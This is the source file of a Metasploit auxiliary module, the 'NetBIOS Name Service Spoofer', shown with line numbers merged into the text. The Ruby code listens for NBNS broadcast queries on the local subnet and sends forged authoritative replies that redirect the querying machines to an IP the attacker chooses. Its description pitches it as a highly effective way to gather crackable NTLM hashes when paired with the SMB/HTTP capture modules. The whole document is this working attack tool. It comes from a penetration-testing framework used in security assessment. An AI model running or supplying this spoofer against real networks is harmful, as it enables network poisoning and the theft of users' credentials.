Path: blob/master/modules/auxiliary/spoof/nbns/nbns_response.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Auxiliary7include Msf::Exploit::Capture89attr_accessor :sock, :thread1011def initialize12super(13'Name' => 'NetBIOS Name Service Spoofer',14'Description' => %q{15This module forges NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests16sent to the local subnet's broadcast address and spoof a response, redirecting the querying17machine to an IP of the attacker's choosing. Combined with auxiliary/server/capture/smb or18auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable19hashes on common networks.2021This module must be run as root and will bind to udp/137 on all interfaces.22},23'Author' => [ 'Tim Medin <tim[at]securitywhole.com>' ],24'License' => MSF_LICENSE,25'References' => [26[ 'URL', 'http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html' ]27],28'Actions' => [29[ 'Service', { 'Description' => 'Run NBNS spoofing service' } ]30],31'PassiveActions' => [32'Service'33],34'DefaultAction' => 'Service',35'Notes' => {36'Stability' => [SERVICE_RESOURCE_LOSS],37'SideEffects' => [IOC_IN_LOGS],38'Reliability' => []39}40)4142register_options([43OptAddress.new('SPOOFIP', [ true, 'IP address with which to poison responses', '127.0.0.1']),44OptRegexp.new('REGEX', [ true, 'Regex applied to the NB Name to determine if spoofed reply is sent', '.*']),45])4647deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')48self.thread = nil49self.sock = nil50end5152def dispatch_request(packet, rhost, src_port)53rhost = ::IPAddr.new(rhost)54# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped55# addr like "::ffff:192.168.0.1" when the interface we're listening56# on has an IPv6 address. Convert it to just the v4 addr57if rhost.ipv4_mapped?58rhost = rhost.native59end6061# Convert to string62rhost = rhost.to_s6364spoof = ::IPAddr.new(datastore['SPOOFIP'])6566return if packet.empty?6768nbnsq_transid = packet[0..1]69nbnsq_flags = packet[2..3]70nbnsq_questions = packet[4..5]71nbnsq_answerrr = packet[6..7]72nbnsq_authorityrr = packet[8..9]73nbnsq_additionalrr = packet[10..11]74nbnsq_name = packet[12..45]75decoded = ''76nbnsq_name.slice(1..-2).each_byte do |c|77decoded << (c - 65).to_s(16).to_s78end79nbnsq_decodedname = [decoded].pack('H*').to_s.strip80nbnsq_type = packet[46..47]81nbnsq_class = packet[48..49]8283return unless nbnsq_decodedname =~ /#{datastore['REGEX'].source}/i8485print_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}")8687vprint_status("transid: #{nbnsq_transid.unpack('H4')}")88vprint_status("tlags: #{nbnsq_flags.unpack('B16')}")89vprint_status("questions: #{nbnsq_questions.unpack('n')}")90vprint_status("answerrr: #{nbnsq_answerrr.unpack('n')}")91vprint_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")92vprint_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")93vprint_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")94vprint_status("full name: #{nbnsq_name.slice(1..-2)}")95vprint_status("decoded: #{decoded}")96vprint_status("decoded name: #{nbnsq_decodedname}")97vprint_status("type: #{nbnsq_type.unpack('n')}")98vprint_status("class: #{nbnsq_class.unpack('n')}")99100# time to build a response packet - Oh YEAH!101response = nbnsq_transid +102"\x85\x00" + # Flags = response + authoritative + recursion desired +103"\x00\x00" + # Questions = 0104"\x00\x01" + # Answer RRs = 1105"\x00\x00" + # Authority RRs = 0106"\x00\x00" + # Additional RRs = 0107nbnsq_name + # original query name108nbnsq_type + # Type = NB ...whatever that means109nbnsq_class+ # Class = IN110"\x00\x04\x93\xe0" + # TTL = a long ass time111"\x00\x06" + # Datalength = 6112"\x00\x00" + # Flags B-node, unique = whatever that means113spoof.hton114115pkt = PacketFu::UDPPacket.new116pkt.ip_saddr = Rex::Socket.source_address(rhost)117pkt.ip_daddr = rhost118pkt.ip_ttl = 255119pkt.udp_sport = 137120pkt.udp_dport = src_port121pkt.payload = response122pkt.recalc123124capture_sendto(pkt, rhost)125end126127def monitor_socket128loop do129rds = [sock]130wds = []131eds = [sock]132133r, = ::IO.select(rds, wds, eds, 0.25)134if !r.nil? && (r[0] == sock)135packet, host, port = sock.recvfrom(65535)136dispatch_request(packet, host, port)137end138end139end140141def run142check_pcaprub_loaded143::Socket.do_not_reverse_lookup = true # Mac OS X workaround144145# Avoid receiving extraneous traffic on our send socket146open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })147148self.sock = Rex::Socket.create_udp(149'LocalHost' => '0.0.0.0',150'LocalPort' => 137,151'Context' => { 'Msf' => framework, 'MsfExploit' => self }152)153add_socket(sock)154sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)155156self.thread = Rex::ThreadFactory.spawn('NBNSServerMonitor', false) do157monitor_socket158rescue ::Interrupt159raise $ERROR_INFO160rescue StandardError161print_error("Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}")162end163164print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...")165166thread.join167print_status('NBNS Monitor thread exited...')168end169170def cleanup171if thread && thread.alive?172thread.kill173self.thread = nil174end175sock.close176close_pcap177end178end179180181